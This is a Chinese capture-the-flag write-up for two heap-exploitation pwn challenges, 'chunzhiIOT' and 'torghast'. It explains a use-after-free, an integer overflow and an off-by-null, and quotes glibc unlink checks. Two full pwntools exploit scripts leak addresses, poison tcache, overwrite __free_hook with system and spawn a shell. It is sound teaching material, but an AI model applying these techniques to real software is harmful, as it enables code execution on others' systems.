ichunqiu春季赛勇者山峰pwn-chunzhiIOT&torghast

chunzhiIOT

​最难的地方在于逆向懂协议的组成，动手调一调就好了

漏洞点很明显是释放堆块后没有清除相应的指针

由于libc是2.33会有一个指针加密，详细的看这个师傅的文章一道题学习glibc-2.32异或加密

exp

​from pwn import *
from LibcSearcher import *

p = process('./abc')
# p=remote()
context.log_level = 'debug'
libc=ELF('./libc.so')
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def add(idx,size,cont):
    p.send('POST / HTTP/1.0 \r\n&\x01'+'&'+str(idx)+'&'+str(size)+'&'+cont)
def edit(idx,cont):
    p.send('POST / HTTP/1.0 \r\n&\x02'+'&'+str(idx)+'&'+cont)
def show(idx):
    p.send('POST / HTTP/1.0 \r\n&\x03'+'&'+str(idx))
def delete(idx):
    p.send('POST / HTTP/1.0 \r\n&\x04'+'&'+str(idx))
#login
p.send('DEV / HTTP/1.0 \r\nrotartsinimda')

add(0,0x418,'a')
add(1,0x30,'b')
delete(1)
show(1)
p.recvuntil('Content-Length: 5\n')
heapbase=u64(p.recv(5).ljust(8,'\x00'))<<12
info('heap->'+hex(heapbase))
delete(0)
add(2,0x428,'aaaa')
show(0)
p.recvuntil('Content-Length: 6\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1e0ff0
info('libc->'+hex(libcbase))
freehook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
add(3,0x30,'c')
add(4,0x30,'ddd')
delete(3)

delete(4)
#0x55500000939c
fd=freehook^(heapbase>>12)
info('fd->'+hex(fd))
edit(4,p64(fd))
add(5,0x30,'/bin/sh')
add(6,0x30,p64(system))
delete(5)

p.interactive()

torghast

libc版本为2.31

逆向分析

​​​​​​
管理堆块需要playflag不为0，我们用Ctrl+X追溯playflag

使playflag为1需要通过挑战

有个整数溢出，溢出后能绕过mplist[6*user]>0x5F5E0FE的判断，也就能一步步让playflag=1

漏洞点出现在edit函数有个off by null。版本是libc-2.31，off by null的利用比起libc2.29之前的利用更加复杂

libc-2.29以后，unlink时加入了对size和prev_size的检测

绕过这个也很简单，伪造prev_size即可，但是unlink还会检测fd和bk

我们需要绕过的检测有两个

一个是合并时对于size的检测

​if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

一个是对于fd和bk的双链表的检测，需要满足fd->bk=P且bk->fd=P也就是当前堆块

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);

由于已经泄露了libc和堆地址，可以直接伪造 prev_size和fd还有bk，造成堆块重叠改free__hook为system

这里解释一下为什么这样修改fd和bk

​add(3,0x418,'a'*8+p64(0x4c1)+p64(heapbase+0x320)*2+p64(0)*2+p64(heapbase+0x300)*2)

在unlink时，会检测large_bin的fd_nextsize和bk_nextsize的是否合法

​ if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
	  || p->bk_nextsize->fd_nextsize != p)
	malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)
	{
	  if (p->fd_nextsize == p)
	    fd->fd_nextsize = fd->bk_nextsize = fd;
	  else
	    {
	      fd->fd_nextsize = p->fd_nextsize;
	      fd->bk_nextsize = p->bk_nextsize;
	      p->fd_nextsize->bk_nextsize = fd;
	      p->bk_nextsize->fd_nextsize = fd;
	    }
	}
      else
	{
	  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
    }

绕过这个检测也很简单，只需要让fd_nextsize和bk_nextsize等于0就可以了

如果直接放在fd_nextsize和bk_nextsize会malloc_printerr(“corrupted double-linked list (not small)”);

exp

​from pwn import *
from LibcSearcher import *

#p = process('./torgh')
p=remote('47.93.2.254',15813)
context.log_level = 'debug'
libc=ELF('./libc-2.31.so')
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def menu(ch):
    sla('Choice:',str(ch))
def joinmenu(ch):
    sla('4. Return to Main Menu\n',str(ch))
def gain(ch):
    sla('4. Gain Infinity HP (Only GM)\n',str(ch))
def add(idx,size,cont):
    menu(1)
    sa('Select User Id',str(idx))
    sa('Player Data Size',str(size))
    sa('Input Data',cont)
def edit(idx,cont):
    menu(2)
    sla('Which Player To Change?',str(idx))
    sa('Your Log:',cont)
def delete(idx):
    menu(3)
    sla('Which Player You Want To Delete:',str(idx))
def change(idx):
    menu(2)
    sla('Choose Which User?',str(idx))
def exit():
    menu(4)
# int overflow
menu(1)
joinmenu(1)
for i in range(3):
    joinmenu(2)
    gain(1)
joinmenu(2)
gain(4)
for i in range(2):
    joinmenu(1)
    sl('1')
joinmenu(4)
menu(3)
add(1,0x438,'aaa')
add(2,0x18,'bbb')
delete(1)

add(1,0x18,'a')
menu(4)
change(1)
menu(1)
joinmenu(3)
p.recvuntil('Here Is The Adventure Log:\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1ecf61
info('libc->'+hex(libcbase))
freehook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
p.recv(10)
heapbase=u64(p.recv(6).ljust(8,'\x00'))-0x2d0
info('heap->'+hex(heapbase))

joinmenu(4)
menu(3)
add(3,0x418,'a'*8+p64(0x4c1)+p64(heapbase+0x320)*2+p64(0)*2+p64(heapbase+0x300)*2)
add(4,0x20,'ccc')
add(5,0x20,'ccc')
add(6,0x28,'ccc')
add(7,0x4f0,'ddd')
add(8,0x30,'eeeee')
edit(6,'a'*0x20+p64(0x4c0))
delete(7)
add(7,0x400,'aaaa')
add(9,0x20,'ccc')

delete(6)
delete(2)
edit(9,p64(freehook))
add(2,0x20,'/bin/sh\x00')
add(6,0x20,p64(system))
delete(2)
p.interactive()

​